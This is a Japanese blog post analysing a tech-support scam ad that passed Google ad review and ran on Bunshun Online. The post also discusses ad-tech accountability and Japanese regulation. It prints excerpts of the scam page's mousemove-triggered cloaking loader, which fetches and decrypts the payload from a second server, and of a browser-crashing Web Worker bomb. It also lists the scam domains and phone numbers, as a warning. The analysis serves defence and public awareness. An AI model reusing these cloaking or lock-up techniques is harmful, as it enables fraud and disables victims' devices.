サポート詐欺はなぜ広告審査を通るのか──マウスを1回動かすまで正体を隠す「不正広告」を解析した
最近のインターネットメディアのデジタル広告、本当に酷いですよね。。
さっきも文春オンラインの記事を見ていたら、まああるあるな詐欺広告が出てきました。せっかくなのでAIエージェントを使って細かく解析してあげたので、置いておきます。皆さまもお気をつけくださいね。
読んでいたのは《福岡県議会のドン》の記事です。県議の海外視察費をめぐる話で、100万円以下なら競争入札をせずに随意契約ができる、その上限ギリギリで契約しておいて後から増額していく、なかには約100万円が1025万円になっていた──という、金の流れを掘り起こしたものでした。
あるあるとは言いましたが、バラしてみるとまあまあ手が込んでいて、面白かったです。
記事の「次へ」に化けた広告
まず全体像を。1ページの中に、同じ出稿が3か所出ていました。
❶が記事上部のバナー、❷が右カラム、❸が本文の途中。同じ出稿ですが、❶は濃紺、❷は白地、❸は赤黒と、枠に合わせて配色を振ってきます。面ごとにきれいに馴染みます。
そして❹が、同じ記事の中にある本物のページ送りです。❶と並べます。
「＞」まで持ってきています。たまたま紛らわしかったのではなく、紛らわしくするために作られている。
リンクの表記は右下に小さく「オンラインストア」。大見出しは「続きへ進む」。噛み合っていませんが、これで審査は通っています。左下の点3つと三角がAdChoicesで、広告であることの表示はこれだけです。
❸に至っては、クリエイティブが「次へ」の一語だけです。商品も企業名も、何を売っているのかも書いていない。商材を何も伝えていませんが、そこは目的ではありません。読んでいる途中の人間に押させるという一点だけに最適化すると、ここに行き着きます。
この手の「面のUIに化ける」クリエイティブは昔からあります。「次へ」「応募する」「ダウンロード」、あとは×印を描いて閉じるボタンのふりをするやつ。運用型広告をやっている人間なら見飽きているはずです。正直うんざりします。
誰が出した広告なのか、媒体社にも分からない
で、誰が出稿したのか。GAM（Google Ad Manager）のスロットに getResponseInformation() で聞きます。
advertiserId: 0 isBackfill: true
isBackfill: true は、媒体社が自社で売り切れなかった枠をGoogleのアドエクスチェンジ（AdX）に投げて埋めてもらった、という意味です。そして advertiserId が 0。媒体社の側から買い手が見えていないということです。
文春を責めても仕方がありません。これは文春の設定が甘いという話ではなく、バックフィルという仕組みがそもそもそうなっているからです。
さらにクリック先のURLは googleadservices.com/pagead/aclk に gclid が付いていました。この詐欺広告は、Google広告として正規に出稿され、審査を通っています。
ついでに pbjs を叩いてヘッダービディングの構成も見ておきました。Prebid.js v11.21.0に、criteo、pubmatic、ttd、appnexus、openx、taboola、msft、rtbhouse、ix、adagio、adg、rubiconの12社。
GAMがあって、その裏にAdXがあって、さらにブラウザ側で12社が入札してくる。この全部を媒体社が見張れというのは無理です。できるわけがない。
飛び先は、実体のないアパレル通販サイトだった
で、飛び先を見に行きました。ドメインは vv805-cv6cw.ondigitalocean.app。開くと、こういう画面が出ます。
「キレナ」というアパレルの通販サイトが出ます。詐欺の画面は出ません。ただし中身がこうです。
- 特定商取引法に基づく表記がない。通販サイトを名乗るなら必須です
- 商品画像もモデルの写真も、全部Unsplashのフリー素材
- ナビゲーションもフッターも、全部のリンクが「/」つまりトップページに戻るだけ
- フォームが2つあるのに、送信先が書かれていない。入力しても、どこにも送られない
売る気ゼロです。審査に見せるためだけに置いてある、書き割りの店ですね。
そして念のため、リクエストを変えて何度も取り直しました。リファラを文春にしても、googleadservicesにしても、UAをiPhoneにしてもGooglebotにしても、gclidを付けても、返ってくるHTMLは137,490バイトで1バイトも変わりません。
レスポンスヘッダを見たら理由が分かりました。x-rgw-object-type と x-amz-request-id が付いている。DigitalOceanのオブジェクトストレージから配信されている静的サイトです。つまりサーバー側にプログラムが無い。出し分けようがない。
正体は「マウスが1回でも動いたか」だけ
となると、仕掛けはブラウザ側にしかありません。HTMLの中に、1,254バイトの小さなスクリプトが1本だけ埋まっていました。これが全部です。
const PASS = "98yNCjeAfWMwk0wI";
const URLKEY = "UrLk3yShopEase01";
const ENC = "U2FsdGVkX19y3eH..."; // C2
const ORIGIN =
CryptoJS.AES.decrypt(ENC, URLKEY)...;
async function loadSecret() {
const res = await fetch(
ORIGIN + "win/sec");
const html = CryptoJS.AES.decrypt(
(await res.json()).cipher, PASS)...;
frame.src = URL.createObjectURL(
new Blob([html],
{type:"text/html"}));
shop.style.display = "none";
frame.style.display = "block";
}
ページの中には <iframe id="frame" title="encrypted shop"> という、srcが空のiframeが置いてあります。そこに、外から取ってきて復号したHTMLを流し込んで、店の表示を消して入れ替える。
で、この loadSecret() を呼ぶ条件が、最後の1行です。
window.addEventListener(
"mousemove",
() => loadSecret(),
{ once: true });
mousemove が一度。それだけです。
人間かどうかの判定としては、これがいちばん安い。クローラーはマウスを動かしません。
そのうえで、最初に出るクッキー同意バナーのほうも mousemove で閉じる実装になっています。閉じようとしてマウスを動かした瞬間に本体が起動する。あのバナーは同意を取るためではなく、マウスを動かさせるために置いてあります。
ちなみに、生成AI系のクローラーがJavaScriptすら解釈していないという話は以前この記事で書きました。JSを実行しないクローラーはもちろん、実行するクローラーでもマウスは動かしません。
出てきたのは「Windows Defenderの警告」とエラーコード「16JPSY7」
暗号化されたURLを復号すると seal-app-m9o8j.ondigitalocean.app という別のサーバーが出ます。エンドポイントは /win/sec。win/sec、Windows security ですね。
取得した75KBの暗号文をオフラインで復号したら、56KBのHTMLが出てきました。これです。
見飽きたやつです。「Windows Defenderセキュリティセンター」「セキュリティ侵害の影響を受けるシステム」、そしてエラーコード「16JPSY7」。
書いてある文章はこんな調子です。
次の情報が盗まれました： メールアドレス／銀行ログインパスワード／Facebookアカウントログイン／写真と文書
このウィンドウを閉じると、Windowsの登録が中断され、個人情報が危険にさらされる可能性があります。
コンピュータを再起動したり操作したりしないでください。
日本語は機械翻訳です。ページの中にWindowsを「窓」と訳している箇所が残っています。落ち着いて読めば分かりますが、これが全画面で出て警告音が鳴っている状態で、そこまで目は行きません。
誘導される電話番号は2つ。0101-866-557-4106 と 0101-877-374-3391 です。絶対にかけないでください。ここに書いたのは、この番号を検索した人がここに辿り着いて「あ、詐欺だ」と分かるようにするためです。上のスクリーンショットでは番号を伏せてあります。
番号の頭を見てください。010 は日本からの国際電話の発信番号で、その次の 1 が北米。つまり 866 と 877 はアメリカのフリーダイヤルです。かけると海外のコールセンターにつながります。
離れようとした瞬間に、ブラウザを殺しにくる
粘着させる実装は一通り入っています。数えるとこうでした。
beforeunloadが3か所 ... 離れようとすると確認ダイアログが出続けるrequestFullscreenが25か所 ... 全画面にしてブラウザのUIごと隠す。だから「戻るボタンが見つからない」- 警告音の再生が10か所
- 右クリック禁止、キー操作の無効化が5か所、カーソルを消す指定が7か所
ここまでは想定内でした。問題はその先です。3本目の beforeunload にこれが入っていました。
window.addEventListener(
'beforeunload', function () {
// 自分を別タブで開き直す
window.open(location.href, '_blank');
// 自分をリロードし直す
setTimeout(() => {
location.href = location.href;
}, 1);
workerBomb(); // これが40回並ぶ
});
function workerBomb() {
const script = `
let c = 0;
while (true) { // 無限ループ
c++;
Math.random() * Math.random();
}`;
const url = URL.createObjectURL(
new Blob([script],
{type:"application/javascript"}));
for (let i = 0;
i < 1000000000000; i++) {
workers.push(new Worker(url));
}
// startWatchdog();
}
Web Workerを1兆回ループで生成し続け、その1本1本が while (true) を回します。これを40回呼びます。CPUを全コア食い潰してメモリを持っていく、要するにブラクラです。
ご丁寧に startWatchdog() という、重くなったらワーカーを止めるブレーキが定義してあるのですが、呼び出しはコメントアウトされています。止める気がありません。
そして発火条件が beforeunload、つまりあなたがこのページから離れようとした瞬間です。同時に別タブで自分を開き直して、自分をリロードもする。
「戻れなくなる」というのは比喩でも錯覚でもなく、離脱操作そのものを引き金にして、逃げる側の端末を潰しにきます。私が解析中にブラウザごと落ちたのも、詐欺ページを開いたままのタブで別のサイトに移動しようとしたからで、まさにこれを踏んでいました。
全画面から抜けられなくなったときの対処法
踏まえて、出くわしたときの順番はこうです。
- まず電話しない。これが全部です。ページが何を言っていても、PCは壊れていません
- Escキーを押す。全画面はたいていこれで解除できます
- 素直にタブを閉じにいかない。閉じようとする操作が引き金です
- ブラウザのタスクマネージャで、そのタブのプロセスだけ殺す。Chromeなら Windowsは Shift+Esc、Macはメニューバーの「ウィンドウ」→「タスクマネージャ」。ワーカーごと落とせます
- それも反応しないならブラウザを強制終了する。Windowsは Ctrl+Shift+Esc、Macは ⌘+Option+Esc
- 再起動後に「前回のページを復元しますか」と聞かれたら復元しない。復元すると同じところに戻ります
私はこの番号にかけていません。なので電話の先で何が起きるかは、この記事では確認できていない部分です。ただ、電話さえしなければ、この時点では何の被害も出ていません。ページを見ただけでPCが壊れることはないですし、勝手に何かがインストールされることもありません。被害はこの後、電話の向こうの人間が作ります。この手の詐欺で報告されている典型は、遠隔操作ソフトを入れさせて、サポート契約料や電子マネーを要求してくる流れです。
Coinhiveでは警察が動いた。これでは動かない
ここでCoinhive事件を思い出してください。私も当時から追いかけていて、摘発されたときと、最高裁判決が出る直前に書きました。
自分のサイトに、閲覧者のCPUを少し借りて仮想通貨を採掘するコードを置いた。それだけで一人のウェブデザイナーが摘発され、一審無罪、二審で逆転有罪（罰金10万円）、最高裁でようやく逆転無罪。決着まで3年近くかかっています。
最高裁が示した判断枠組みは2つでした。反意図性（利用者の意図に反するか）と不正性（社会的に許容できないか）。Coinhiveは反意図性こそ認められましたが、不正性は否定されました。PCへの影響が軽微であること、閲覧で収益を得る仕組みが情報の流通にとって重要であること、そして──
「現在普及しているウェブ広告と比べて」社会的に許容し得る範囲だ、というものでした。
その、比較の基準にされた「ウェブ広告」の側が、いま何を配っているかという話です。
今回のワーカー爆弾に、反意図性の議論の余地はありません。不正性のほうも、CPUを少し借りるどころか端末を止めることそのものが目的です。ブレーキは書いた本人がコメントアウトしている。発動条件が「被害者が逃げようとしたとき」で、その先に偽の警告と海外の電話番号が待っている。社会的に許容し得る範囲かどうかを議論する必要すらありません。
Coinhiveが有罪か無罪かで3年争ったこの国の基準で言えば、これは完全に真っ黒です。ちなみにウイルス罪の射程については、不可視テキスト入りのPDFの件でも書きました。あれで問われるなら、これが問われない理屈はない。
ただ、警察は動かないでしょう。動かないというより動けない。誰がやったのか分からないからです。
思い出してください。GAMの応答は advertiserId: 0 でした。載せている文春にも買い手が見えない。ドメインは取っていないのでWHOISに名前も出ない。サーバーはDigitalOceanのサブドメインで、金の受け取りはどこか外国です。
Coinhiveのときに摘発されたのは、日本で、実名で、自分のサイトを運営していた個人でした。叩ける相手だったから叩けた。
叩ける相手は叩かれて、叩けない相手は残る。
なぜウイルス対策もSafe Browsingも検知しないのか
気になったので、GoogleのSafe Browsing APIに問い合わせてみました。この飛び先は、検知されていません。（APIが壊れているわけではありません。テスト用の既知の悪性URLを投げたらちゃんと検知します）
Googleのクローラーもマウスを動かしません。何回巡回しても、見えるのはアパレルの通販サイトだけです。
そしてもう一つ。この連中、ドメインを1つも取っていません。タダ乗りです。
ondigitalocean.app は、DigitalOcean社が2020年に取得した正規のドメインです。登録者はDigitalOcean, Inc.、レジストラはMarkMonitor、企業向けのロックもかかっている。犯人はそこにアプリをデプロイして、サブドメインに相乗りしているだけです。
これが厄介なのは、我々が普段「怪しいサイト」を見分けるために使っている指標が、まとめて全部無効になることです。ドメインの取得年月日も、WHOISの登録者情報も、ドメインの評判スコアも、TLS証明書の有無も、ブロックリストへの登録も、全部きれいです。しかも表の店（静的サイト）と、詐欺の中身を配るサーバー（Express製の別アプリ）が分けてある。審査で踏まれるのは表だけです。
ついでに言っておくと、今回のはまだクリックさせないと発動しないぶん、可愛いほうです。本当に厄介なのは、クリックすらしていないのに広告枠が描画された時点でページを乗っ取っていくタイプで、読者からすると何も操作していないのに画面が別のサイトに変わります。あれのほうがよっぽどマニアックで、いつか捕まえて解析したい。
AIが83億件止めても、この程度が通る
人間が一度でも開いて、マウスを動かして「続きへ進む」を押していれば、これは一発で分かります。分からないということは、広告審査を機械だけでやっていると考えるのが自然です。
しかもこれ、大して隠れていません。難読化していない。eval も base64 の塊も無い。鍵は平文で書いてあります。crypto-jsは普通にCDNから読んでいて、ソースを開けば1,254バイトで全部読める。mousemove で fetch して、AES.decrypt して、blob: のiframeに流し込む。この並びを見て何も思わない静的解析があるとしたら、それはもう解析とは呼べません。
実際、Googleの2025年のAds Safety Reportでは、その年に止めた広告が83億件、停止したアカウントが2490万件。うち詐欺関連が6億200万件と400万アカウント。前年分の報告では執行判断の97%をAIが担ったとしています。この規模を人間で捌けるわけがないので、機械に寄せること自体は当然の設計です。
ただ、生成AIがこれだけ持ち上げられている時代に、「クリックしたら偽のWindows警告が全画面で出る」という、これ以上ないほど分かりやすい広告が、審査を通って大手メディアに出ている。83億件止めた実績の横で、これが素通りしている。AI審査もクローラーも、まだこの程度です。
可能性はもう2つあります。審査のときだけ別のものを見せている（UAやIPレンジで審査基盤を見分ける）か、審査を通してから中身を差し替えるか。今回の飛び先は静的サイトなので、後者は「オブジェクトストレージ上のHTMLを置き換えるだけ」で成立します。ちなみに私が取得した時点のレスポンスの last-modified は、その日の朝10時半でした。
この「審査後の後出し」自体は業界でも認識されていて、対策は主に媒体社側のアドクオリティ事業者（GeoEdge、Confiantなど）が担っています。やり方は大きく2つです。
- ランディングページを継続的にスキャンし直す。審査時の1回で終わらせない
- クライアントサイドでの実時間ブロック。広告枠に監視用のラッパーをかぶせて、実際の読者のブラウザの中で強制遷移やポップアップを検知して止める
後出しは実ユーザーのセッションでしか発動しないので、そこを見にいく後者が理屈としては正しい。Confiantは「クローク済みランディングページのクライアントサイド・フィンガープリンティング」という切り口で、まさに今回のような判定ロジックを追いかけています。今回の mousemove 一発は、その分類でいえば素直なほうです。
ただし、これは媒体社が別途カネを払って入れるものです。
それと、私の性格が悪いだけかもしれませんが、この構造はマッチポンプ的にも見えます。病気が無くなれば薬は売れない。アドフラウド対策を売る側にとって、アドフラウドの根絶は商売の終わりです。各社が真面目にやっているのは知っていますが、業界全体として「無くならないほうが都合のいい人がいる」構図があること自体は、頭に置いておいたほうがいい。
クリックさせれば勝ち──歪んだ運用型広告の経済
まともな広告主は、クリック率やコンバージョン率を0.1%から0.2%に上げるために、地道にクリエイティブを改善します。誤クリックには何の価値もない。買った人が「間違って押した」なら、そのクリック代はドブに捨てたのと同じです。
ところが詐欺は、誤クリックで十分に成立します。
ページ送りと間違えて押させれば勝ち。全画面で脅かして、1万人に1人が電話をかけてくれればいい。その1人から取れるのが数万円、悪くすると数十万円です。クリック単価が数円から数十円の世界で、割に合いすぎている。まともな広告主とは経済の桁が違います。
だから彼らは、正規の広告主が絶対に払わない単価でも平気で入札できます。そして枠は基本的にオークションで決まるので、高く入れたほうが勝ちます。
これは私が昔書いたCriteoの入札ミスでCPMが跳ね上がった話とも地続きで、自動入札の世界では「誰かがおかしな金額を入れてくる」ことが普通に起こります。おかしな金額を入れてくる相手が、バグではなく詐欺師だった、というだけの違いです。
サプライサイドは「限界集落」、デマンドサイドは予算消化
じゃあなぜ止められないのか。両側に事情があります。
サプライサイド、つまり媒体社の側。大きなメディアであっても、運用型広告をちゃんと見ている人は本当に数人です。我々は自虐的に「限界集落」と呼んでいます。GAMの設定を見て、AdXの設定を見て、ヘッダービディングの12社をそれぞれ見て、日々流れてくるクリエイティブを目視で確認して、通報が来たら止めて......を数人でやる。できるわけがないんですよ。
デマンドサイド、つまり広告主の側。事業会社のデジタルマーケティング担当者には「取った予算を使い切らないといけない」というプレッシャーがあります。使い切れないと来期に削られるので。それで代理店に丸投げする。
代理店側も、ホームランや打点王は狙いません。来期の追加予算の伸び代を残すために、そこそこの打率で、たまに出塁して、適当に点が取れるくらいの成績にしておく。身も蓋もない言い方をすると、勝ちすぎない。試合数と出塁数だけ稼ぐ動きになります。
両側とも、悪意はありません。それぞれの立場では合理的です。ただ結果として、「誰も細かく見ていない予算」と「誰も細かく見ていない在庫」が大量に生まれる。そこにアドフラウド業者が入り込んで、予算を溶かしていく。連中はこの構造を我々より正確に理解しています。
そういえば2019年に、NHKのクローズアップ現代がフェイクなネット広告の特集をやったときにこんな記事を書きました。7年経っても構造は変わっていません。むしろ手口だけが洗練されています。
権力の不透明を暴く記事の、すぐ上にあった不透明
さっきの❸、本文中に挟まっていた「次へ」だけの広告を、周りの本文ごと出します。
委託費100万円以下などなら競争入札をせず「随意契約」ができた。ところが15件の契約の多くが100万円ギリギリで、その後すべて増額。なかには約100万円が1025万円、10倍以上になったケースもあった。
情報公開請求で資料を取って、記事270本を読み込んで、随意契約の不透明さを可視化していく。手間のかかる、いい仕事です。
その真上に出ている広告を誰が買ったのか、載せている文春自身にも分からない。
皮肉を言いたいわけではありません。ここがオープンインターネットでメディアをやることの、構造的な穴だと思っています。
取材にはコストがかかります。県議会の資料を情報公開請求して、270本を読んで、当事者に当たる。その費用をどこかから持ってこないといけない。課金だけでは足りないので、広告で埋めます。
ところが、プラットフォームの塀の中（ウォールドガーデン）と違って、オープンインターネットのメディアは自分で在庫を売り切らないといけない。売れ残った枠はバックフィルに回ります。バックフィルは値段だけで決まる世界で、買い手は見えません。
真面目に取材にコストをかけている媒体ほど、埋めなければいけない枠が多い。そしてその枠の一部は、必ず「誰が買ったか分からない」経路を通ります。
JAAのアドバタイザー宣言の6番目が「ウォールドガーデンへの対応」になっているのも、同じ問題の裏表です。塀の中は透明性が無いと言われ、塀の外は透明性を保てるだけの体力が無い。
繰り返しますが、これは文春が悪いという話ではありません。オープンインターネットのメディア運営そのものに空いている穴です。そして穴が空いていることを、詐欺師のほうがよく知っている。
今回の事案は、業界の枠組みのどこにも当てはまらない
日本の広告業界には、デジタル広告の品質を認証するJICDAQ（デジタル広告品質認証機構）があります。2021年にできた第三者認証機構で、会員はJAA（広告主）、JAAA（広告会社）、JIAA（媒体・ネットワーク）の3団体。需要側も供給側も同じ卓についていて、座組み自体は悪くありません。
そのJICDAQが認証しているのは、次の2つの業務プロセスです。
- 無効トラフィック対策 ... アドフラウドを含む、"人"に届いていない広告配信の排除
- ブランドセーフティ ... 明らかに違法・不当な広告掲載先の排除
今回の事案を、この2つに当てはめてみてください。どちらにも入りません。
まず無効トラフィックではない。インプレッションもクリックも本物の人間に届いています。それどころかこの仕掛けは「人間にしか本性を見せない」設計で、bot判定の真逆を突いてきている。
ブランドセーフティでもない。掲載先は文春オンラインという、まっとうな媒体です。ブランドセーフティは「広告主のブランドを、悪い掲載面から守る」枠組みなので、向きが逆なんです。今回は良い掲載面に出た、悪い広告です。
2019年にJAAが出した「デジタル広告の課題に対するアドバタイザー宣言」も、8つの原則を並べていますが、その設計思想は一貫して「アドバタイザーの予算とブランドを守る」ことにあります。①アドフラウドへの断固たる対応、⑤サプライチェーンの透明化。どれも大事です。今回の advertiserId: 0 は、まさに⑤が実現していないことの具体例でもあります。
ただ、今回いちばん損をするのは広告主ではありません。読者です。そして媒体の信頼です。そこを名指しで守る枠組みが、実は手薄い。
10月のアドテック東京に「広告とメディアの信頼は守られているか ── 詐欺広告・自動化時代の透明性と責任」というセッションが立っています。「アドフラウド」ではなく「信頼」という言葉を選んでいるのは、たぶんこの空白のことです。
自浄作用が追いつかず、行政が出てきた
業界団体はあります。
土台にあるのは、広告主のJAA、広告会社のJAAA、媒体とネットワークのJIAA。その3団体が集まって作ったのがJICDAQです。私が入っているDMI（日本アドバタイザーズ協会 デジタルマーケティング研究機構）は1999年の発足で、発足時の名前はWeb広告研究会。ほかにクオリティメディアコンソーシアムがあり、2026年には日本デジタル広告健全化機構もできました。健全化機構は虚偽・誇大広告やダークパターンを業界横断で扱うという話で、これは先日書いたダークパターン規制の記事とそのまま繋がるテーマです。
どこも真面目にやっています。ただ、実効的に止められているかというと、止められていない。
止められていないので、行政が出てきました。
2026年8月、経済産業省・警察庁・金融庁・消費者庁・デジタル庁・総務省・法務省の7府省庁が合同で、SNSの大規模事業者に対策強化を文書で要請しています。中身は、詐欺広告の流通を抑えるために広告主の本人確認を確実にやれ、というもの。個人はマイナンバーカード、法人は商業登記電子証明書まで例に挙がっています。広告を出す側に身分証を出させろという話です。
背景の数字がこれです。警察庁によると、SNS型投資詐欺の認知件数は2025年に9,523件で前年比48.5%増、被害額は1,288億円で47.9%増。著名人になりすました偽広告は、もう「広告の品質問題」ではなく犯罪の入り口として扱われています。2025年4月には情報流通プラットフォーム対処法も施行されました。
認証制度を作って、宣言を出して、ガイドラインを配る。どれも必要なことです。ただ、相手は最初からルールを守る気がない連中です。他人のドメインにタダ乗りして、審査だけ通して、マウスが動いたら中身を入れ替えてくる。
自浄作用というのは、業界の中にいるプレイヤーが自分を律することで成立します。外から入ってきて荒らして消える相手に、自浄作用は効きません。悪人が普通に歩き回っている場所で、住民の良識に期待するのには限界があります。行政が出てくるのは自然な流れです。
ただ、要請も法律も動くのが遅い。その間に手を動かせるのは、やはり現場です。
現場側で私が期待しているのが、APTI（Advertisers and Publishers Transparency Initiative）です。名前のとおり、広告主とパブリッシャー、つまりデマンドサイドとサプライサイドの両端を直接つなぐ一般社団法人で、2026年3月11日に発足イベントをやっています。共同代表は宮一良彦さん（JIAAフェロー、米IAB Tech Labメンバー）と杉原剛さん。
やっていることが具体的なのがいいんです。Transparency Toolkit（ttkit）で ads.txt と sellers.json の整合性をチェックしてサプライパスを分析する。9,000ドメイン以上を集めて透明性の月次レポートを出す。IABの標準仕様を日本語に翻訳する。宣言ではなく、実務のツールから入っている。
発足イベントで出たという「数字の1が本当に1なのかを問い直すべき」という言葉が、今回の話にそのまま効きます。advertiserId: 0 は「買い手が誰か分からない」という意味ですが、我々は普段それを「まあバックフィルだし」で流している。流さずに問い直すところからしか始まりません。
アドテック東京で、この話がそのまま議論される
10月21日から23日まで、東京ミッドタウンでアドテック東京が開かれます。そのDAY2に、ここまで書いてきた話がそのまま乗るセッションがあります。
DAY2／10月23日（金）16:45〜17:35／MC-8
「広告とメディアの信頼は守られているか ── 詐欺広告・自動化時代の透明性と責任」
- モデレーター：山口有希子さん（パナソニック コネクト 取締役 執行役員 CMO）
- 長澤秀行さん（クオリティメディアコンソーシアム 事務局長）
- 伊藤信吾さん（NTT東日本 グローバルビジネス推進室）
セッションの詳細はアドテック東京の公式プログラムにあります。山口さんは、日本アドバタイザーズ協会のデジタルメディア委員会 委員長としてデジタル広告の健全化に取り組まれている方です。DMIも同じJAAの中にあります。そしてパネルにはクオリティメディアコンソーシアムの事務局長がいる。広告主側と媒体側が同じ卓に着く構成になっていて、これは今回の問題の当事者がちょうど揃っています。
私が聞いてみたいのは、けっきょくこの一点です。
誰が出したか分からない広告が、正規の審査を通って、まっとうな媒体に出て、読者を詐欺サイトに送った。このとき責任を負うのは誰なのか。
媒体社は買い手を見られない。広告主団体の枠組みは広告主を守るためのもの。プラットフォームのクローラーはマウスを動かさないので永遠に気づかない。つまり、誰も責任を取らなくていい。ふざけた話です。
10月23日、聞きに行ってきます。何か持ち帰れたらまた書きます。
※この記事に出てくる詐欺サイトのURLと電話番号は、検索して辿り着いた人が詐欺だと判断できるように、あえて書いています。アクセスしたり電話したりしないでください。
※広告経由で連れて行かれる先が危ないという話は、2018年にぐるなびの広告で似たようなことを書いています。手口はデジタルになりましたが、やっていることはあまり変わりません。